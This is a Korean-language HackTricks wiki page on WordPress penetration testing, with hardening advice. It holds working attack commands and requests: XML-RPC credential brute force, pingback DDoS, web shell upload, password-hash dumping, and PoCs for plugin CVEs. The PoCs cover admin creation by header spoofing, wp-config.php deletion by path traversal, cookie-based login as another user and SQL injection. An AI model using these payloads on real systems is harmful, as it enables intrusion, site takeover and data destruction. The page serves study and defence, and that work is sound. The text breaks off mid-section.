Wordpress
Reading time: 25 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Themes files can be found in /wp-content/themes/, 따라서 테마의 php를 변경하여 RCE를 얻으려면 아마도 해당 경로를 사용하게 됩니다. 예: theme twentytwelve를 사용하면 /wp-content/themes/twentytwelve/404.php에서 404.php 파일에 access할 수 있습니다.
-
Another useful url could be: /wp-content/themes/default/404.php
-
In wp-config.php you can find the root password of the database.
-
Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.php
license.txt
는 설치된 WordPress 버전과 같은 유용한 정보를 포함합니다.wp-activate.php
는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.- 로그인 폴더(숨기기 위해 이름이 변경될 수 있음):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 하여 데이터를 전송할 수 있게 하는 WordPress 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress의 REST API로 대체되었습니다.wp-content
폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다.wp-content/uploads/
는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다.wp-includes/
는 인증서, 폰트, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉토리입니다.wp-sitemap.xml
WordPress 버전 5.5 이상에서는 공개된 모든 게시물과 공개적으로 쿼리 가능한 포스트 타입 및 taxonomy를 포함한 sitemap XML 파일을 생성합니다.
Post exploitation
wp-config.php
파일에는 WordPress가 데이터베이스에 연결하는 데 필요한 정보(데이터베이스 이름, database host, username 및 password, authentication keys 및 salts, 데이터베이스 테이블 접두사 등)가 포함되어 있습니다. 이 구성 파일은 또한 문제 해결에 유용한 DEBUG 모드를 활성화하는 데 사용될 수 있습니다.
Users Permissions
- Administrator
- Editor: 자신의 글과 다른 사용자의 글을 게시하고 관리할 수 있습니다
- Author: 자신의 글을 게시하고 관리할 수 있습니다
- Contributor: 글을 작성하고 관리할 수 있으나 게시할 수는 없습니다
- Subscriber: 게시물을 열람하고 자신의 프로필을 편집할 수 있습니다
Passive Enumeration
Get WordPress version
다음 파일(/license.txt
또는 /readme.html
)을 찾을 수 있는지 확인하세요
페이지의 source code 안에서 (예: https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS 링크 파일
- JavaScript 파일
플러그인 가져오기
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
테마 가져오기
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
일반적으로 버전 추출
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
능동적 열거
Plugins and Themes
아마 모든 Plugins and Themes를 찾지 못할 것입니다. 모두 발견하려면 actively Brute Force a list of Plugins and Themes 해야 합니다 (다행히 이러한 목록을 포함한 자동화 도구들이 존재합니다).
사용자
- ID Brute: WordPress 사이트에서 사용자 ID를 Brute Forcing하여 유효한 사용자를 얻습니다:
curl -s -I -X GET http://blog.example.com/?author=1
응답이 200 또는 30X이면, 해당 id는 유효입니다. 응답이 400이면 id는 무효입니다.
- wp-json: 쿼리하여 users에 대한 정보를 얻어볼 수도 있습니다:
curl http://blog.example.com/wp-json/wp/v2/users
사용자에 대한 일부 정보를 공개할 수 있는 또 다른 /wp-json/
엔드포인트는:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. 이 기능을 활성화한 사용자에 대한 정보만 제공됩니다.
또한 /wp-json/wp/v2/pages는 IP 주소를 leak할 수 있습니다.
- Login username enumeration: 로그인할 때 **
/wp-login.php
**에서 메시지가 다르게 표시되어 해당 사용자 이름이 존재하는지 여부를 알려줍니다.
XML-RPC
만약 xml-rpc.php
가 활성화되어 있으면 credentials brute-force를 수행하거나 다른 자원에 대해 DoS 공격을 시작하는 데 사용할 수 있습니다. (You can automate this process using this for example).
To see if it is active try to access to /xmlrpc.php and send this request:
확인
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
자격 증명 Bruteforce
wp.getUserBlogs
, wp.getCategories
또는 **metaWeblog.getUsersBlogs
**는 자격 증명을 brute-force하는 데 사용할 수 있는 방법들 중 일부입니다. 만약 이들 중 하나를 찾을 수 있다면 다음과 같은 것을 보낼 수 있습니다:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
자격 증명이 유효하지 않을 경우, 200 코드 응답 내에 "Incorrect username or password" 메시지가 표시되어야 합니다.
올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에 경로가 표시됩니다 (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
또한 더 빠른 방법이 있는데, 동일한 요청에서 여러 자격증명을 시도할 수 있기 때문에 **system.multicall
**을 사용해 자격증명을 brute-force할 수 있습니다:
.png)
2FA 우회
이 메서드는 사람용이 아니라 프로그램용으로 만들어졌고 오래되어 2FA를 지원하지 않습니다. 따라서 유효한 creds를 가지고 있지만 메인 진입이 2FA로 보호되어 있다면, xmlrpc.php를 악용해 해당 creds로 2FA를 우회하여 로그인할 수 있을지도 모릅니다. 콘솔을 통해 할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec가 https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s에서 설명하듯 여전히 RCE에 도달할 수 있습니다.
DDoS 또는 포트 스캐닝
목록 안에서 pingback.ping 메서드를 찾을 수 있다면 Wordpress가 임의의 호스트/포트로 요청을 보내게 만들 수 있습니다.
이것은 수천 개의 Wordpress sites에 하나의 location에 access하도록 요청해 그 위치에서 DDoS를 유발하게 하거나, Wordpress를 이용해 내부 network를 scan하도록 만들 때(임의의 포트를 지정할 수 있습니다) 사용할 수 있습니다.
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
faultCode 값이 0(17)보다 큰 경우, 포트가 열려 있음을 의미합니다.
이전 섹션에서 **system.multicall
**의 사용을 살펴보면 이 메서드를 악용해 DDoS를 유발하는 방법을 알 수 있습니다.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
This file usually exists under the root of the Wordpress site: /wp-cron.php
이 파일에 접근하면 무거운 MySQL 쿼리가 실행되어, 공격자가 이를 이용해 DoS를 유발할 수 있습니다.
또한 기본적으로, wp-cron.php
는 모든 페이지 로드(클라이언트가 Wordpress의 어떤 페이지든 요청할 때마다) 시 호출되므로, 트래픽이 많은 사이트에서는 문제가 될 수 있습니다 (DoS).
Wp-Cron을 비활성화하고 호스트 내부에서 실제 cronjob을 만들어 필요한 작업을 정기적으로 수행하도록 하는 것을 권장합니다(문제를 일으키지 않도록).
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
이 도구는 methodName: pingback.ping이 있는지와 경로 /wp-json/oembed/1.0/proxy가 존재하는지를 확인하고, 존재하면 이를 악용하려 시도합니다.
자동 도구
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
비트 하나를 덮어써서 접근 얻기
실제 공격이라기보다는 호기심에 가깝습니다. CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man에서는 wordpress 파일의 임의 위치에서 1 비트를 반전시킬 수 있었습니다. 따라서 파일 /var/www/html/wp-includes/user.php
의 위치 5389
의 비트를 반전시켜 NOT (!
) 연산을 NOP로 만들 수 있었습니다.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
사용 중인 테마의 php 수정 (관리자 자격 증명 필요)
Appearance → Theme Editor → 404 Template (at the right)
php shell을 위해 내용을 변경:
업데이트된 페이지에 어떻게 접근하는지 인터넷에서 검색하세요. 이 경우 다음에 접근하면 됩니다: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
다음과 같이 사용할 수 있습니다:
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
Plugin RCE
PHP plugin
It may be possible to upload .php files as a plugin.
Create your php backdoor using for example:
Then add a new plugin:
Upload plugin and press Install Now:
Click on Procced:
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
Access it and you will see the URL to execute the reverse shell:
Uploading and activating malicious plugin
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
- Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
- Plugin Installation:
- Navigate to the WordPress dashboard, then go to
Dashboard > Plugins > Upload Plugin
. - Upload the zip file of the downloaded plugin.
- Plugin Activation: Once the plugin is successfully installed, it must be activated through the dashboard.
- Exploitation:
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It's noted that this is just one of the many methods to exploit a WordPress site.
The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, it's important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other's criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Creates an user in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Upload your custom plugin (backdoor) to WordPress.
- (RCE) Built-In Plugin Edit: Edit a Built-In Plugins in WordPress.
- (RCE) Built-In Theme Edit: Edit a Built-In Themes in WordPress.
- (Custom) Custom Exploits: Custom Exploits for Third-Party WordPress Plugins/Themes.
Post Exploitation
사용자 이름과 비밀번호 추출:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
관리자 비밀번호 변경:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
공격 표면
Wordpress 플러그인이 기능을 어떻게 외부에 노출하는지 아는 것은 해당 기능의 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 노출할 수 있는 방법은 다음 항목들에서 확인할 수 있으며, 취약한 플러그인 예시는 this blog post에 있습니다.
wp_ajax
플러그인이 사용자에게 기능을 노출하는 방법 중 하나는 AJAX handlers를 통해서입니다. 이들은 로직, authorization 또는 authentication 버그를 포함할 수 있습니다. 게다가 이러한 함수들이 authentication과 authorization을 Wordpress nonce의 존재에 기반하는 경우가 꽤 자주 있으며, 그 nonce는 **Wordpress 인스턴스에 인증된 모든 사용자(역할과 무관하게)**가 가질 수 있습니다.
These are the functions that can be used to expose a function in a plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
nopriv
의 사용은 엔드포인트를 모든 사용자(심지어 인증되지 않은 사용자)도 접근 가능하게 만듭니다.
caution
게다가, 만약 함수가 단지 wp_verify_nonce
함수를 사용해 사용자의 권한을 확인하는 것이라면, 이 함수는 단지 사용자가 로그인했는지 여부만 확인할 뿐 보통 사용자의 역할은 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
- REST API
또한 register_rest_route
함수를 사용해 wordpress에서 rest AP를 등록하여 함수를 노출할 수도 있습니다:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback
is a callback to function that checks if a given user is authorized to call the API method.
If the built-in __return_true
function is used, it'll simply skip user permissions check.
- php 파일에 대한 직접 접근
물론, Wordpress는 PHP를 사용하고 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 트리거되는 취약한 기능을 노출하고 있다면, 어떤 사용자라도 이를 악용할 수 있습니다.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
일부 플러그인은 내부 통합이나 리버스 프록시를 위해 "trusted header" 단축을 구현한 다음, 그 헤더를 사용해 REST 요청의 현재 사용자 컨텍스트를 설정합니다. 해당 헤더가 상위 컴포넌트에 의해 암호학적으로 요청에 바인딩되어 있지 않다면, 공격자는 이를 스푸핑하여 관리자 권한이 필요한 REST 경로를 호출할 수 있습니다.
- 영향: core users REST route를 통해 새 관리자 계정을 생성하여 인증 없이 관리자 권한으로 권한 상승.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(사용자 ID 1을 강제로 설정 — 일반적으로 첫 번째 관리자 계정). - Exploited route:
POST /wp-json/wp/v2/users
에 상승된 역할 배열을 포함하여 호출.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
왜 작동하는가
- 플러그인이 클라이언트 제어 헤더를 인증 상태로 매핑하고 권한 검사를 건너뛴다.
- WordPress core는 이 경로에 대해
create_users
capability를 기대한다; 플러그인 해킹은 헤더에서 직접 현재 사용자 컨텍스트를 설정하여 이를 우회한다.
예상 성공 지표
- 생성된 사용자를 설명하는 JSON 본문과 함께 HTTP 201.
wp-admin/users.php
에서 확인 가능한 새로운 관리자 사용자.
탐지 체크리스트
getallheaders()
,$_SERVER['HTTP_...']
또는 사용자 지정 헤더를 읽어 사용자 컨텍스트를 설정하는 vendor SDK(예:wp_set_current_user()
,wp_set_auth_cookie()
)를 grep 하라.- 요청 헤더에 의존하고 강력한
permission_callback
체크가 없는 특권 콜백에 대해 REST 등록을 검토하라. - REST 핸들러 내에서 헤더 값으로만 게이팅된 상태로 사용되는 코어 사용자 관리 함수(
wp_insert_user
,wp_create_user
)의 사용을 찾아라.
보안 강화
- 클라이언트 제어 헤더에서 인증이나 권한을 절대 유도하지 마라.
- 리버스 프록시가 신원을 주입해야 한다면, 프록시에서 신뢰를 종료하고 수신 헤더 사본을 제거(예: 에지에서
unset X-Wcpay-Platform-Checkout-User
)한 다음 서명된 토큰을 전달하고 서버 측에서 검증하라. - 특권 동작을 수행하는 REST 경로에는
current_user_can()
체크와 엄격한permission_callback
을 요구하라(절대__return_true
를 사용하지 마라). - 헤더 “impersonation” 대신 쿠키, application passwords, OAuth 같은 1차 인증을 선호하라.
참고: 공개 사례와 더 넓은 분석은 이 페이지 끝의 링크를 참조하라.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress 테마와 플러그인은 종종 wp_ajax_
및 wp_ajax_nopriv_
훅을 통해 AJAX 핸들러를 노출한다. nopriv 변형이 사용되면 콜백이 인증되지 않은 방문자도 접근 가능하게 되므로, 민감한 동작은 추가로 다음을 구현해야 한다:
- 권한 검사 (예:
current_user_can()
또는 최소is_user_logged_in()
), 그리고 check_ajax_referer()
/wp_verify_nonce()
로 검증된 CSRF nonce, 그리고- 엄격한 입력 정제 / 검증.
Litho multipurpose theme (< 3.1)는 Remove Font Family 기능에서 이 세 가지 제어를 놓쳐 다음과 같은 코드(단순화된)를 배포하게 되었다:
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
이 스니펫이 야기하는 문제점:
- 인증되지 않은 접근 –
wp_ajax_nopriv_
훅이 등록되어 있습니다. - nonce / capability 확인 없음 – 어떤 방문자도 해당 엔드포인트를 호출할 수 있습니다.
- 경로 정제 없음 – 사용자 제어
fontfamily
문자열이 필터링 없이 파일시스템 경로에 이어붙여져 전형적인../../
트래버설을 허용합니다.
악용
공격자는 단일 HTTP POST 요청을 전송하여 uploads 기본 디렉터리 아래 (보통 <wp-root>/wp-content/uploads/
)의 모든 파일이나 디렉터리를 삭제할 수 있습니다:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php
lives outside uploads, four ../
sequences are enough on a default installation. Deleting wp-config.php
forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme .php
files (to break security plugins) or .htaccess
rules.
탐지 체크리스트
- 파일시스템 헬퍼(
copy()
,unlink()
,$wp_filesystem->delete()
등)를 호출하는 모든add_action( 'wp_ajax_nopriv_...')
콜백. - 정제되지 않은 사용자 입력을 경로에 연결하는 경우(
$_POST
,$_GET
,$_REQUEST
를 확인). check_ajax_referer()
및current_user_can()
/is_user_logged_in()
호출의 부재.
하드닝
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
tip
Always 디스크에 대한 모든 쓰기/삭제 작업은 권한이 필요한 것으로 취급하고 다음을 재확인하세요:
• Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath()
plus str_starts_with()
).
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
많은 플러그인들은 원래의 역할을 user meta에 저장해 나중에 복원할 수 있도록 "view as role" 또는 임시 역할 전환 기능을 구현합니다. 복원 경로가 요청 파라미터(예: $_REQUEST['reset-for']
)와 플러그인이 관리하는 목록에만 의존하고 capabilities 확인이나 유효한 nonce 검증을 하지 않으면, 이는 vertical privilege escalation이 됩니다.
실제 사례는 Admin and Site Enhancements (ASE) 플러그인 (≤ 7.6.2.1)에서 발견되었습니다. reset 분기는 내부 배열 $options['viewing_admin_as_role_are']
에 사용자 이름이 있을 경우 reset-for=<username>
에 따라 역할을 복원했지만, 현재 역할을 제거하고 user meta _asenha_view_admin_as_original_roles
에 저장된 역할을 다시 추가하기 전에 current_user_can()
체크나 nonce 검증을 수행하지 않았습니다:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
왜 취약한가
- 서버 측 권한 확인 없이
$_REQUEST['reset-for']
와 플러그인 옵션을 신뢰함. - 사용자가 이전에
_asenha_view_admin_as_original_roles
에 높은 권한이 저장되어 있었고 권한이 강등된 경우, reset 경로를 호출해 해당 권한을 복원할 수 있음. - 일부 배포 환경에서는 인증된 어떤 사용자든
viewing_admin_as_role_are
에 여전히 남아있는 다른 사용자명에 대해 reset을 트리거할 수 있음(권한 검증 누락).
Attack prerequisites
- 해당 기능이 활성화된 취약한 플러그인 버전.
- 대상 계정의 user meta에 이전에 저장된 오래된 고권한 역할이 있음.
- 인증된 아무 세션; reset 흐름에 nonce/capability가 누락됨.
Exploitation (example)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
취약한 빌드에서는 이것이 현재 역할을 제거하고 저장된 원래 역할(예: administrator
)을 다시 추가하여 실질적으로 권한을 상승시킵니다.
Detection checklist
- 사용자 메타에 “original roles”를 저장하는 역할 전환 기능을 찾아보세요 (예:
_asenha_view_admin_as_original_roles
). - 다음과 같은 reset/restore 경로를 식별하세요:
- 사용자 이름을
$_REQUEST
/$_GET
/$_POST
에서 읽는 경우. add_role()
/remove_role()
로 역할을 수정하면서current_user_can()
및wp_verify_nonce()
/check_admin_referer()
를 사용하지 않는 경우.- 행위자의 권한 대신 플러그인 옵션 배열(예:
viewing_admin_as_role_are
)에 기반해 권한을 부여하는 경우.
Hardening
- 모든 상태 변경 분기마다 권한 체크를 적용하세요 (예:
current_user_can('manage_options')
또는 더 엄격한 조건). - 모든 역할/권한 변경에 대해 nonces를 요구하고 검증하세요:
check_admin_referer()
/wp_verify_nonce()
. - 요청으로 전달된 사용자 이름을 절대 신뢰하지 마세요; 인증된 행위자와 명확한 정책에 기반해 서버 측에서 대상 사용자를 결정하세요.
- 프로필/역할 업데이트 시 “original roles” 상태를 무효화하여 오래된 높은 권한 복원이 발생하지 않도록 하세요:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- 임시 역할 전환을 위해 상태를 최소화하여 저장하고, 시간 제한이 있는 capability-guarded tokens를 사용하는 것을 고려하세요.
인증되지 않은 권한 상승 via cookie‑trusted user switching on public init
(Service Finder “sf-booking”)
일부 플러그인은 user-switching 헬퍼를 public init
훅에 연결하고, 클라이언트가 제어하는 cookie로부터 아이덴티티를 유도합니다. 코드가 인증, capability, 유효한 nonce를 검증하지 않고 wp_set_auth_cookie()
를 호출하면, 인증되지 않은 방문자도 임의의 사용자 ID로 강제 로그인할 수 있습니다.
전형적인 취약 패턴 (단순화한 Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Why it’s exploitable
- 공개된
init
훅으로 인해 핸들러가 unauthenticated 사용자에게 접근 가능함 (is_user_logged_in()
가드 없음). - Identity는 클라이언트가 수정 가능한 쿠키(
original_user_id
)에서 유래함. wp_set_auth_cookie($uid)
를 직접 호출하면 요청자를 해당 사용자로 로그인시킴 — 어떤 capability/nonce 검사도 없이.
Exploitation (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WordPress/플러그인 CVE에 대한 WAF 고려사항
일반적인 edge/server WAF는 광범위한 패턴(SQLi, XSS, LFI)에 맞춰 조정되어 있습니다. 많은 고위험 WordPress/플러그인 결함은 애플리케이션 특화 로직/인증 버그로, 엔진이 WordPress 경로와 플러그인 의미론을 이해하지 못하면 정상 트래픽처럼 보입니다.
Offensive notes
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv
, REST with permissivepermission_callback
, public shortcodes). Default payloads often succeed without obfuscation. - Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
WordPress 보호
정기 업데이트
WordPress, plugins, 그리고 themes가 최신 상태인지 확인하세요. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하세요:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
또한, 신뢰할 수 있는 WordPress 플러그인과 테마만 설치하세요.
보안 플러그인
기타 권장사항
- 기본 admin 사용자 제거
- 강력한 비밀번호와 2FA 사용
- 정기적으로 사용자 권한을 검토
- 로그인 시도 제한으로 Brute Force 공격 방지
wp-admin.php
파일 이름을 변경하고 내부에서나 특정 IP 주소에서만 접근을 허용하세요.
검증 부족으로 인한 Unauthenticated SQL Injection (WP Job Portal <= 2.3.2)
WP Job Portal 채용 플러그인은 savecategory 작업을 노출했으며, 최종적으로 modules/category/model.php::validateFormData()
내부에서 다음 취약한 코드를 실행합니다:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
이 스니펫으로 인해 발생하는 문제:
- Unsanitised user input –
parentid
가 HTTP 요청에서 그대로 전달됩니다. - String concatenation inside the WHERE clause –
is_numeric()
/esc_sql()
/ prepared statement가 사용되지 않았습니다. - Unauthenticated reachability – 해당 action은
admin-post.php
를 통해 실행되지만, 유일한 검증은 CSRF nonce (wp_verify_nonce()
)뿐이며, 이 nonce는[wpjobportal_my_resumes]
숏코드를 포함한 공개 페이지에서 누구나 가져올 수 있습니다.
악용
- 새로운 nonce 획득:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
parentid
를 악용해 임의의 SQL을 주입:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
응답은 주입된 쿼리의 결과를 노출하거나 데이터베이스를 변경하여 SQLi가 존재함을 증명합니다.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
또 다른 작업인 downloadcustomfile은 방문자가 path traversal을 통해 디스크상의 모든 파일을 다운로드할 수 있게 허용했습니다. 취약한 sink는 modules/customfield/model.php::downloadCustomUploadedFile()
에 위치합니다:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
